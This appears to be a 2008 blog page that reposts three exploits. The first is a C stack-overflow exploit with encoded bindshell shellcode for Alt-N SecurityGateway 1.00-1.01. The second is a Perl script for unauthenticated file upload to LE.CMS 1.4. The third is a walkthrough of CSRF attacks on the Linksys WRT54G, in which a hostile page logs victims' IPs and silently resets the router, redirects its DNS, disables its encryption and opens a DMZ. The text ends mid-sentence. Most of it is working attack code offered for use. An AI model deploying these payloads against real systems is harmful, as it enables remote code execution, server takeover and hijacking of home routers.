Wednesday, July 30, 2008

Alt-N SecurityGateway 1.00-1.01 Remote Stack Overflow Exploit

###################################
#Alt-N SecurityGateway 1.00-1.01 Remote Stack Overflow Exploit
###################################

/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : Alt-N SecurityGateway v1.00-1.01
* ----------------------------------------
* Exploit : Alt-N SecurityGateway v1.00-1.01 Remote Stack Overflow Exploit
* Exploit date : 11.06.2008-14.06.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Details : Obtain the overflow and crash the application is peace a cake job.
* To make a wroking code execution here is a hell. First we can see that
* the username before overflow the buffer pass through some functions,
* that changes and restrict some useful chars. Firstly the beffer gets
* lowered so the overflow should not contain upper chars :( . So i decided
* to use some encoders for the payload like nonupper and non alpha from MSF.
* The nonupper use the `@` (0x40) char which the app doesn't eat at all.
* The nonalpha encoder in decoder code and the generated body contained
* always the 0xC0, 0xC1, 0x80, 0x81 which were translated to 0xE0, 0xE1,
* 0x90, 0x91. Don't know, may be this chars translation was due to my russian locale.
* After few days of work i have comed with the required bindshell which bypass
* all restricted chars and executes. Thx to skylined, for his alpha tool.
* Bad chars : 0x00 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49 0x4A 0x4B 0x4C 0x4D 0x4E
* 0x4F 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5A 0x40 0x7b 0xAA 0xC0
* 0xC1 0xC2 0x80 0x81
* ----------------------------------------
* Thanks to:
* 1. securfrog ( )
* 2. ALPHA 2: Zero-tolerance ( )
* 3. The Metasploit project ( http://metasploit.com )
* 4. Dreatica-FXP crew ( http://www.dreatica-fxp.com )
************************************************************************************
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
*/

#include
#include
#include
#include
#include

#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void print_info_banner_line(const char * key, const char * val);

void extract_ip_and_port( char * &remotehost, int * port, char * str);
int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);

int hr2_connect(char * remotehost, int port, int timeout);
int hr2_udpconnect(char * remotehost, int port, struct sockaddr_in * addr, int timeout);
int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
int execute(struct _buf * abuf, char * remotehost, int port);

struct _buf
{
unsigned char * ptr;
unsigned int size;
};
int construct_shellcode(int sh, struct _buf * shf, int target);
int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);




// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------


struct {
const char * name;
int length;
char *shellcode;
}shellcodes[]={
{"Bindshell, port 9998", 743,
/* The non-encoded metasploit payload
* windows/shell_bind_tcp - 317 bytes
* http://www.metasploit.com
* Encoder: generic/none
*/
/*
* Encoder: heretic2's nonupper. with help of skylined tool.
*/
"\x6a\x20\x5b\x93\xf7\xe0\x91\xe8\xff\xff\xff\xff\x30\x5e\x5e\x66"
"\x8b\x7e\x22\x97\x3c\x60\x7c\x07\x2c\x20\x66\x93\x88\x5e\x22\x83"
"\xee\xff\xe2\xeb\xe8\xff\xff\xff\xff\x36\x5b\x5b\x93\x91\x83\xe9"
"\xf8\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x71\x7a\x76\x74"
"\x78\x33\x30\x76\x78\x34\x61\x70\x30\x61\x33\x68\x68\x30\x61\x30"
"\x30\x61\x62\x61\x61\x62\x74\x61\x61\x71\x32\x61\x62\x32\x62\x62"
"\x30\x62\x62\x78\x70\x38\x61\x63\x6a\x6a\x69\x6b\x6c\x32\x6a\x6a"
"\x6b\x70\x6d\x6a\x68\x7a\x79\x6b\x6f\x6b\x6f\x6b\x6f\x33\x70\x6c"
"\x6b\x72\x6c\x36\x64\x71\x34\x6c\x6b\x71\x75\x77\x6c\x6c\x6b\x73"
"\x6c\x73\x35\x33\x68\x35\x71\x7a\x6f\x6c\x6b\x70\x6f\x35\x68\x6c"
"\x6b\x71\x6f\x67\x70\x75\x71\x6a\x6b\x77\x39\x6c\x6b\x77\x64\x6c"
"\x6b\x75\x71\x7a\x6e\x76\x71\x69\x70\x6d\x69\x6e\x6c\x6b\x34\x69"
"\x70\x72\x74\x63\x37\x6f\x31\x38\x6a\x74\x6d\x35\x71\x79\x72\x6a"
"\x6b\x6b\x64\x77\x6b\x71\x64\x67\x74\x67\x78\x32\x75\x6d\x35\x6c"
"\x6b\x71\x6f\x77\x74\x35\x71\x6a\x6b\x32\x66\x6c\x6b\x74\x6c\x70"
"\x6b\x6c\x6b\x71\x6f\x35\x6c\x75\x71\x6a\x6b\x75\x73\x66\x6c\x6c"
"\x6b\x6b\x39\x62\x6c\x76\x64\x75\x6c\x33\x71\x6f\x33\x66\x71\x79"
"\x6b\x75\x34\x6c\x6b\x71\x73\x36\x70\x6c\x6b\x71\x70\x74\x6c\x6c"
"\x6b\x72\x70\x75\x6c\x6e\x6d\x6c\x6b\x71\x70\x35\x78\x71\x6e\x73"
"\x78\x6c\x6e\x70\x6e\x64\x6e\x7a\x6c\x30\x70\x6b\x6f\x78\x76\x35"
"\x36\x76\x33\x32\x66\x33\x78\x70\x33\x77\x62\x72\x68\x72\x77\x34"
"\x33\x76\x72\x71\x6f\x70\x74\x6b\x6f\x78\x70\x62\x68\x38\x6b\x6a"
"\x6d\x6b\x6c\x77\x6b\x66\x30\x6b\x6f\x78\x76\x71\x6f\x6b\x39\x6a"
"\x65\x73\x76\x6d\x71\x7a\x6d\x73\x38\x64\x62\x70\x75\x62\x6a\x35"
"\x72\x6b\x6f\x6e\x30\x72\x68\x78\x79\x75\x79\x6b\x65\x6e\x6d\x66"
"\x37\x6b\x6f\x79\x66\x36\x33\x70\x73\x71\x63\x71\x63\x70\x73\x71"
"\x73\x71\x63\x31\x73\x36\x33\x6b\x6f\x68\x70\x32\x66\x65\x38\x71"
"\x37\x74\x6e\x72\x66\x71\x63\x6b\x39\x6b\x71\x6c\x75\x73\x78\x6f"
"\x74\x75\x6a\x74\x30\x6f\x37\x30\x77\x6b\x6f\x79\x66\x32\x6a\x64"
"\x70\x36\x31\x31\x65\x6b\x6f\x6e\x30\x75\x38\x6e\x64\x6e\x6d\x76"
"\x6e\x6b\x79\x71\x67\x6b\x6f\x78\x76\x70\x73\x70\x75\x6b\x6f\x78"
"\x70\x65\x38\x6b\x75\x31\x79\x6c\x66\x70\x69\x30\x77\x6b\x6f\x6e"
"\x36\x70\x70\x31\x64\x71\x64\x76\x35\x6b\x6f\x78\x70\x6c\x73\x72"
"\x68\x6d\x37\x63\x69\x39\x76\x32\x79\x71\x67\x6b\x6f\x6e\x36\x71"
"\x65\x6b\x6f\x78\x70\x73\x76\x73\x7a\x35\x34\x32\x66\x72\x68\x75"
"\x33\x72\x6d\x6d\x79\x6b\x75\x72\x6a\x76\x30\x76\x39\x71\x39\x68"
"\x6c\x6b\x39\x6d\x37\x72\x6a\x30\x64\x6b\x39\x6b\x72\x76\x71\x6f"
"\x30\x7a\x73\x6e\x6a\x6b\x6e\x70\x62\x76\x6d\x6b\x6e\x67\x32\x36"
"\x6c\x6a\x33\x6c\x6d\x33\x6a\x76\x78\x6e\x6b\x6e\x6b\x6e\x6b\x63"
"\x78\x73\x62\x6b\x6e\x6e\x73\x74\x76\x6b\x6f\x62\x75\x70\x64\x6b"
"\x6f\x38\x76\x71\x6b\x76\x37\x76\x32\x30\x71\x30\x71\x70\x71\x72"
"\x6a\x65\x71\x30\x71\x30\x71\x30\x75\x70\x71\x6b\x6f\x78\x70\x75"
"\x38\x6e\x6d\x6e\x39\x74\x65\x78\x6e\x70\x73\x6b\x6f\x6e\x36\x73"
"\x7a\x6b\x6f\x6b\x6f\x36\x77\x6b\x6f\x6e\x30\x6c\x6b\x36\x37\x6b"
"\x6c\x6b\x33\x69\x74\x75\x34\x6b\x6f\x38\x76\x66\x32\x6b\x6f\x38"
"\x70\x33\x78\x7a\x70\x6c\x6a\x63\x34\x71\x6f\x66\x33\x6b\x6f\x6e"
"\x36\x6b\x6f\x68\x70\x61\x61"
},
{NULL, 0, NULL}
};




struct _target{
const char *t ;
unsigned long ret ;
} targets[]=
{
{"Alt-N SecurityGateway 1.00/1.01 universal", 0x67672190 }, // nonupper pop/pop/ret
{"DOS/Crash/Debug/Test/Fun", 0x61616161 },
{NULL, 0x00000000 }
};

// memory for buffers
unsigned char payloadbuffer[10000], a_buffer[10000];
long dwTimeout=5000;
int timeout=5000;


int main(int argc, char **argv)
{
char c,*remotehost=NULL,temp1[100];
int sh,port=4000,itarget=0;
struct _buf fshellcode, sbuffer;

logo();
if(argc<2)
{
usage(argv[0]);
return -1;
}

WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
// set defaults
sh=0;
// ------------

while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF)
{
switch (c)
{
case 'h':
if (strchr(optarg,':')==NULL)
{
remotehost=optarg;
}else
{
sscanf(strchr(optarg,':')+1, "%d", &port);
remotehost=optarg;
*(strchr(remotehost,':'))='\0';
}
break;
case 't':
sscanf(optarg, "%d", &itarget);
itarget--;
break;
case 'T':
sscanf(optarg, "%ld", &dwTimeout);
break;
default:
usage(argv[0]);
WSACleanup();
return -1;
}
}

if(remotehost == NULL)
{
printf(" [-] Please enter remotehost\n");
end_logo();
WSACleanup();
return -1;
}
print_info_banner_line("Host", remotehost);
sprintf(temp1, "%d", port);
print_info_banner_line("Port", temp1);
print_info_banner_line("Payload", shellcodes[sh].name);
sprintf(temp1, "%d", 9998);
print_info_banner_line("BINDPort", temp1);

printf(" # ------------------------------------------------------------------- # \n");
fflush(stdout);


memset(payloadbuffer, 0, sizeof(payloadbuffer));
fshellcode.ptr=payloadbuffer;
fshellcode.size=0;

memset(a_buffer, 0, sizeof(a_buffer));
sbuffer.ptr=a_buffer;
sbuffer.size=0;

if(!construct_shellcode(sh, &fshellcode, itarget))
{
end_logo();
WSACleanup();
return -1;
}

printf(" [+] Payload constructed\n");

if(!construct_buffer(&fshellcode, itarget, &sbuffer))
{
printf(" [-] Buffer not constructed\n");
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Final buffer constructed\n");


if(!execute(&sbuffer, remotehost, port))
{
printf(" [-] Buffer not sent\n");
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Buffer sent\n");

end_logo();
WSACleanup();
return 0;
}

int construct_shellcode(int sh, struct _buf * shf, int target)
{
memcpy(shf->ptr, shellcodes[sh].shellcode, shellcodes[sh].length);
shf->size=shellcodes[sh].length;

return 1;
}



char templ1[] = "POST /SecurityGateway.dll HTTP/1.0\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
"Accept-Language: ru\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"
"Content-Length: %d\r\n\r\n";
char templ2[]="RequestedPage=login&username=%s&passwd=world&lang=en&logon=Sign+In";

int encode_uri(char * in, int len, char * out, int *outlen)
{
char *out2=out;
int i;
memset(out,0,*outlen);
for(i=0;i {
*out++='%';
sprintf(out, "%.2x", (unsigned char)in[i]);
out+=2;
}
*outlen=(int)(out-out2);
return 0;
}



int construct_buffer(struct _buf * shf, int target, struct _buf * abuf)
{
unsigned char * cp;
char *lp ;
char buf[10000], buf2[10000],rstr1[10000],rstr2[10000];
int olen;

cp = abuf->ptr;

memset(buf,0,sizeof(buf));
memset(buf2,0,sizeof(buf2));
memset(rstr1,0,sizeof(rstr1));
memset(rstr2,0,sizeof(rstr2));

lp=buf;

// overflow
memset(lp,'\x61',476);
lp+=476;

// jmp over seh
*lp++='\x90';
*lp++='\x90';
*lp++='\xeb';
*lp++='\x04';

// replace SEH
*lp++ = (char)((targets[target].ret ) & 0xff);
*lp++ = (char)((targets[target].ret >> 8) & 0xff);
*lp++ = (char)((targets[target].ret >> 16) & 0xff);
*lp++ = (char)((targets[target].ret >> 24) & 0xff);

memset(lp,'\x90',1500);
lp+=5;

memcpy(lp, shf->ptr, shf->size);
lp+=shf->size;


olen = 1500;
encode_uri(buf, (int)strlen(buf), buf2, &olen);
sprintf(rstr2,templ2,buf2);
sprintf(rstr1,templ1,strlen(rstr2));

strcat((char*)cp,rstr1);
strcat((char*)cp,rstr2);

cp+=strlen((char*)cp);
abuf->size=(int)(cp-abuf->ptr);
return 1;
}


void extract_ip_and_port( char * &remotehost, int * port, char * str)
{
if (strchr(str,':')==NULL)
{
remotehost=str;
}else
{
sscanf(strchr(str,':')+1, "%d", port);
remotehost=str;
*(strchr(remotehost,':'))='\0';
}
}



int hr2_connect(char * remotehost, int port, int timeout)
{
SOCKET s;
struct hostent *host;
struct sockaddr_in addr;
TIMEVAL stTime;
TIMEVAL *pstTime = NULL;
fd_set x;
int res;

if (INFINITE != timeout)
{
stTime.tv_sec = timeout / 1000;
stTime.tv_usec = timeout % 1000;
pstTime = &stTime;
}

host = gethostbyname(remotehost);
if (!host) return SOCKET_ERROR;

addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

s = socket(AF_INET, SOCK_STREAM, 0);
if (s == SOCKET_ERROR)
{
closesocket(s);
return SOCKET_ERROR;
}

unsigned long l = 1;
ioctlsocket( s, FIONBIO, &l ) ;

connect(s, (struct sockaddr*)&addr, sizeof(addr));

FD_ZERO(&x);
FD_SET(s, &x);

res = select(NULL,NULL,&x,NULL,pstTime);
if(res< 0) return SOCKET_ERROR;
if(res==0) return 0;
return (int)s;
}


int hr2_tcpsend(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
{
return send(s, (char *)buf, len, 0);
}

int hr2_tcprecv(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
{
TIMEVAL stTime;
TIMEVAL *pstTime = NULL;
fd_set xy;
int res;

if (INFINITE != timeout)
{
stTime.tv_sec = timeout / 1000;
stTime.tv_usec = timeout % 1000;
pstTime = &stTime;
}
FD_ZERO(&xy);
FD_SET(s, &xy);

res = select(NULL,&xy,NULL,NULL,pstTime);

if(res==0) return 0;
if(res<0) return -1;

return recv(s, (char *)buf, len, 0);
}

int execute(struct _buf * abuf, char * remotehost, int port)
{
int x;
SOCKET s ;
char RECVB[10000];

s = hr2_connect(remotehost, port, 10000);
if(s==0)
{
printf(" [-] connect() timeout\n");
return 0;
}
if(s==SOCKET_ERROR)
{
printf(" [-] Connection failed\n");
return 0;
}
x = hr2_tcpsend(s, abuf->ptr, abuf->size, 0);
printf(" [+] Sent %d out of %d bytes\n", x, abuf->size);

x = hr2_tcprecv(s, (unsigned char *)RECVB, 1000, 0);

closesocket(s);
return 1;
}

// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;

optarg = NULL;

if (next == NULL || *next == '\0')
{
if (optind == 0)
optind++;

if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}

if (strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}

next = argv[optind];
next++; // skip past -
optind++;
}

char c = *next++;
char *cp = strchr(optstring, c);

if (cp == NULL || c == ':')
return '?';

cp++;
if (*cp == ':')
{
if (*next != '\0')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}

return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------

void print_info_banner_line(const char * key, const char * val)
{
char temp1[100], temp2[100];

memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(val) -1);

memset(temp2,0,sizeof(temp2));
memset(temp2, '\x20' , 8 - strlen(key));
printf(" # %s%s: %s%s# \n", key, temp2, val, temp1);

}



void usage(char * s)
{
int j;
printf("\n");
printf(" Usage: %s -h -t \n", s);
printf(" -------------------------------------------------------------------\n");
printf(" Arguments:\n");
printf(" -h ........ host to attack, default port: 4000\n");
printf(" -t ........ target to use\n");
printf(" -T ........ socket timeout\n");
printf("\n");
printf(" Supported SecurityGateway versions:\n");
for(j=0; targets[j].t!=0;j++)
{
printf(" %d. %s\n",j+1, targets[j].t);
}
printf("\n");
printf(" Code execution:\n");
for(j=0; shellcodes[j].name!=0;j++)
{
printf(" %d. %s\n",j+1, shellcodes[j].name);
}
end_logo();
}

void logo()
{
printf("\n\n");
printf(" ####################################################################### \n");
printf(" # ____ __ _ ______ __ _____ #\n");
printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n");
printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n");
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n");
printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n");
printf(" # crew #\n");
printf(" ####################################################################### \n");
printf(" # Exploit : Alt-N SecurityGateway 1.00-1.01 Remote Overflow exploit # \n");
printf(" # Solution: Update to 1.02 version # \n");
printf(" # Author : Heretic2 < heretic2x [at] gmail.com > # \n");
printf(" # Version : 1.0 # \n");
printf(" # System : Windows ALL # \n");
printf(" # Date : 11.06.2008 - 14.06.2008 # \n");
printf(" # ------------------------------------------------------------------- # \n");
}

void end_logo()
{
printf(" # ------------------------------------------------------------------- # \n");
printf(" # Dreatica-FXP crew [Heretic2] # \n");
printf(" ####################################################################### \n\n");
}

LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit

###################################
# LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit
###################################

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print <- - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit -
- -
- -
- Discovered && Coded By: t0pP8uZz -
- Discovered On: 19 JUNE 2008 -
- -
- Script Download: http://worldlevel.com -
- milw0rm.com, h4ck-y0u.org, CiperCrew, offsec -
- -
- LE.CMS suffers from a arbitrary file upload vuln.. -
- .. this exploit will upload any file to the server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
INTRO

print "\nEnter Target URL(ie: http://site.com): ";
chomp(my $host=);

print "\nEnter Local File Path To Upload(ie: C:\\file.txt): ";
chomp(my $file=);

my $ext = substr $file, rindex $file, '.';
my $fname = int rand 9999;
my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );

my $re = $ua->request(POST $host . '/cms/admin/upload.php',
Content_Type => 'form-data',
Content => [ 'submit0' => 'authed', # if script reads this as TRUE then the script thinks we have already authenticated the username/password, only 0 or undef is false
'submit' => 1,
'password' => 1, # as long as this is true we should be able to upload
'filename' => $fname,
'upload' => [ $file ] ] );

die "Exploit Failed, HTTP Request Failed!" unless $re->is_success;

print "File Uploaded! Location: " . $host . "/cms/images/" . $fname . $ext . "\n";
exit;

#Linksys WRT54G (firmware 1.00.9) Security Bypass

###################################
#Linksys WRT54G (firmware 1.00.9) Security Bypass
###################################

__ _ ____ ____ ___ ____ ____ ____ _____ ____ ____ _____ ___
| l/ ]l j| \ / \ | \l j| \ | T l j| \ | | / \
| ' / | T | _ YY Y| o )| T | _ Yl__/ | | T | _ Y| __jY Y
| \ | | | | || Q || _/ | | | | || __j | | | | || l_ | O |
| Y | | | | || || | | | | | || / | __ | | | | || _] | |
| . | j l | | |l || | j l | | || || T j l | | || T l !
l__j\_j|____jl__j__j \__,_jl__j |____jl__j__jl_____jl__j|____jl__j__jl__j \___/

<>< | ><> Hacking the Linksys WRT54G #2
<>< | ><> https://kinqpinz.info/
<>< | ><> by meathive
<>< | ><> root at kinqpinz.info && kinqpinz.info at gmail.com


++| CVE-2008-1247
----------------------
The web interface on the Linksys WRT54g router with firmware 1.00.9 does not require credentials
when invoking scripts, which allows remote attackers to perform arbitrary administrative actions via
a direct request to (1) Advanced.tri, (2) AdvRoute.tri, (3) Basic.tri, (4) ctlog.tri, (5) ddns.tri,
(6) dmz.tri, (7) factdefa.tri, (8) filter.tri, (9) fw.tri, (10) manage.tri, (11) ping.tri,
(12) PortRange.tri,(13) ptrigger.tri, (14) qos.tri, (15) rstatus.tri, (16) tracert.tri,
(17) vpn.tri, (18) WanMac.tri, (19) WBasic.tri, or (20) WFilter.tri.
NOTE: the Security.tri vector is already covered by CVE-2006-5202.

++| Intro
----------------------
This text is in addition to the findings I have already made public regarding the Linksys WRT54G
wireless router and firewall gateway device. The scripts that process configuration changes do not
require authentication and therefore can be altered _remotely_ via simple form submissions written
in HTML and submitted using JavaScript. Please refer to the bottom of this text for my previous
findings and the demo page with sample exploits.

++| Let's Get Dirty
----------------------
You may find my original demonstration page at https://kinqpinz.info/lib/wrt54g/. It basically shows
how forms can be constructed in HTML that take advantage of the major flaws present within the
insecure router. In my previous documentation I showed how it is possible to alter configuration
parameters both via Linux command line using curl and HTML form submissions. In this text I
demonstrate how to do these very same things transparently using a combination of HTML form
construction with JavaScript that automagically submits our desired changes.

The JavaScript is simple and is only used for submitting the form - a user-free mechanism that will
redirect the user to their router and prompts them to log in. Once again, THE REQUEST TO
AUTHENTICATE TO THE DEVICE IS NOT REQUIRED IN ORDER TO CHANGE ITS SETTINGS. The following is all
that is required in order to submit our form that will be constructed using GET parameters observed
from the device's Web interface.

document.f.submit();

This submits forms hidden within the Webpage. Our first example code enables wireless access with an
SSID of our choosing. In this instance, I will use the SSID "kinqpinz".














The reason this works is simple: configuration parameters are constructed in the URL in the Web
interface, hosted by default at the address http://192.168.1.1. One can view these parameters while
configuring their device. The code above simply constructs a URL that is processed by the router's
IOS script WBasic.tri. The URL resembles the following if you were to view it within your browser:

http://192.168.1.1/WBasic.tri?submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=kinqpinz&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en

It's simple enough to understand what's going on. Each variable passed in the URL describes exactly
what its purpose is - at least the important ones such as "SSID" and "channel". The only tricky part
to exploiting the router is the fact that you cannot alter settings using a URL like the one above.
That would result in a GET request on behalf of the device, whereas we're interested in POST
requests that actually trigger configuration changes. A GET request does nothing. Below I describe
a real world attack scenario that makes use of knowledge about the device, embedded HTML + JavaScript,
and a touch of PHP to grab the mark's external IP.

++| Remote Real World Attack Scenario
----------------------
So http://www.hacker.tld hosts an evil page that wants to compromise your Linksys WRT54G router. It
has made a few assumptions about your environment, however. One major assumption is that you've
kept your router's default local gateway address, namely 192.168.1.1. No matter what other changes
you've made to the router in terms of security, e.g., strong password, wireless encryption, access
restrictions - they are useless. So this brings us to an important lesson concerning the WRT54G: do
NOT retain the default local address of 192.168.1.1. It is pertinent that you change this address so
that you do not fall victim to a malicious individual hosting code that will be presented in this
text.

++| Remote Real World Attack Scenario Requirements
----------------------
On http://www.hacker.tld a page is hosted that contains the following:
(1) hidden HTML forms that contain the values/params needed to configure the WRT54G remotely;
(2) JavaScript that submits these forms transparently;
(3) PHP or similar server-side code that acquires the mark's external IP address as they browse
the page; and,
(4) PHP or similar server-side code that retains the mark's external IP address in the event that
the remote form submission is successful, thus allowing the remote attacker to further exploit the
device.

http://www.hacker.tld/index.php contains the following code for achieving its purpose. To begin, PHP
is used - though any server-side language is suitable - for obtaining the external IP of any
individual viewing the exploit page and writes this information to a log file.
$ip=$_SERVER['REMOTE_ADDR'];
$toWrite="Potential mark resides at $ip\n\n";
$f=fopen("mark.txt", "a+");
fwrite($f, $toWrite);
fclose($f);
?>

The JavaScript is as simple as retrieving the form object identified by the 'name' HTML attribute
and submitting the form.



All hacker.tld needs now is the forms used to store the URL params, conveniently hidden using the
HTML form's 'hidden' attribute.














What you should observe from this is the form name of "f" which is used in the JS to submit the form
as well as the various 'name' and 'value' attributes that are used to create a URL such as this:

submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=kinqpinz&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en

Do note that without any one of these parameters, the exploit fails and nothing changes. All of the
elements must remain in place even if they do not directly make sense. They are simply options that
the processing script, in this case WBasic.tri, requires prior to fulfilling the request. Case
matters and do not forget that the request must be POST, not GET. Also different config changes
require different scripts, so WBasic.tri is not used for, say, enabling/disabling the firewall log.

Now that the malicious page has been composed and sits online living and waiting for marks at
http://www.hacker.tld/index.php, as each request is made to the page it is logged using our custom
PHP logging script. In mark.txt, our logging file, sample output would resemble something like the
following.

Potential mark resides at 1.1.1.1

Potential mark resides at 2.2.2.2

Potential mark resides at 3.3.3.3

So forth...

They are potential marks because it is unknown whether or not they are using the WRT54G with a
supported firmware version that is exploitable using these techniques, and/or the exploit attempt
failed, perhaps because our mark cancelled the request before it could be fulfilled, or they are not
using the default local address (good for them) that this attack relies on.

When they browse the page, because we have set no timeout for this change to occur, they are
instantly redirected to http://192.168.1.1/WBasic.tri. The URL, because it is not a GET request,
does not inform the user if they were educated enough of what has just happened, so they may
continue on doing whatever they were doing, more often than not unaware of what has just happened.
At the same time our PHP script has logged this access attempt to mark.txt which we can retrieve at
our leisure and further test the remote host whether or not they are vulnerable to attack. At the
very least, we may decide to completely reset the router to rest assured we know its current state
to make further compromise a snap, such as altering the device's DNS records for sniffing traffic.
This is quite feasible, here's how.







This gives us the following URL: http://192.168.1.1/factdefa.tri?FactoryDefaults=Yes&layout=en

Now we can change the DNS again at our leisure, perhaps to our own DNS server that intercepts/logs
all incoming and outgoing requests before passing them on to the next in line.























































This is indeed convoluted but all of these values must be in place in order to be successful. What
is it doing? It overrides whatever DNS settings were set either by our mark or by their ISP with our
own custom values, in this instance DNS server #1 is set to 1.2.3.4, DNS server #2 is set to 5.6.7.8,
and DNS server #3 is set to 9.8.7.6. Typically these values are populated by the router itself while
obtaining its dynamic IP from the ISP. In case you're curious, these forms are used to construct the
following URL that is submitted to http://192.168.1.1/Basic.tri.

http://192.168.1.1/Basic.tri?dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=1&dns0_1=2&dns0_2=3&dns0_3=4&dns1_0=5&dns1_1=6&dns1_2=7&dns1_3=8&dns2_0=9&dns2_1=8&dns2_2=7&dns2_3=6&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en

++| An Alternative (with JavaScript)
----------------------
This is the basic exploitation method of the router although the attacker has many alternatives of
submitting configuration changes assuming you allow client-side scripts to execute, namely JavaScript.
A few alternative methods would include using a JavaScript onClick function within a standard
looking HTML anchor tag to submit the information with XMLHttpRequest, e.g.:

This looks innocent enough.

...where xhrRequest uses and submits preset configuration parameters upon our mark clicking on this
standard looking navigation link, e.g.:

var xhr=false;
if(window.XMLHttpRequest) {
xhr=new XMLHttpRequest();
} else if(window.ActiveXObject) {
xhr=new ActiveXObject("Microsoft.XMLHTTP");
}
function xhrRequest() {
if(xhr) {
xhr.open("POST", "http://192.168.1.1/Security.tri", true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange=function() {
if(xhr.readyState == 4 && xhr.status == 200) {
var success=xhr.responseText;
}
}
xhr.send("SecurityMode=0&layout=en");
}
}

The example above effectively disables all wireless encryption so that if you happen to live close
enough to this poor individual, it is your duty to pwn their wireless by enabling open access for
everybody in the neighborhood! Here's the URL for disabling wireless encryption:

http://192.168.1.1/Security.tri?SecurityMode=0&layout=en

++| An Alternative (without JavaScript)
----------------------
You're still exploitable even if you do not allow scripts from executing, e.g., you use Firefox +
NoScript. Our hackerific page hosted at http://www.hacker.tld/index.php can still use innocent
looking methods of compromising your WRT54G. For example, user registration for a bulletin board or
forum system. The site must acquire a minimal amount of information in order to create the account
so it is in submitting this data that we may submit our own payload, perhaps this time we'd like to
enable DMZ for complete access to any and all shares/services on our mark's computer. Here is the
URL once again:

http://192.168.1.1/dmz.tri?action=Apply&dmz_enable=1&dmz_ipaddr=100&layout=en

Again it is a different script processing the request on behalf of the router's internal operating
system, dmz.tri, but it still does not require authentication prior to changing the settings we wish
to change. All hacker.tld must do is replace the HTML payload with what he/she wishes to alter, e.g.:







...and add these values to their user registration page with standard username/password/e-mail fields...

Username:

Password:

Confirm Password:




...that can be found on traditional forums these days. The mark submits and exploits his/her own
router although they believe they are at least minimally technically savvy by using a combination of
technologies (Firefox, NoScript) to combat hackers and their methodologies. It works since the forms
we use to store the router configs are hidden, and the normal user registration forms are not, thus
it is unknown the nature of what supplementary data hacker.tld has appended. Even if the mark has
detected that a potential attack is taking place it is likely too late as the mastermind behind
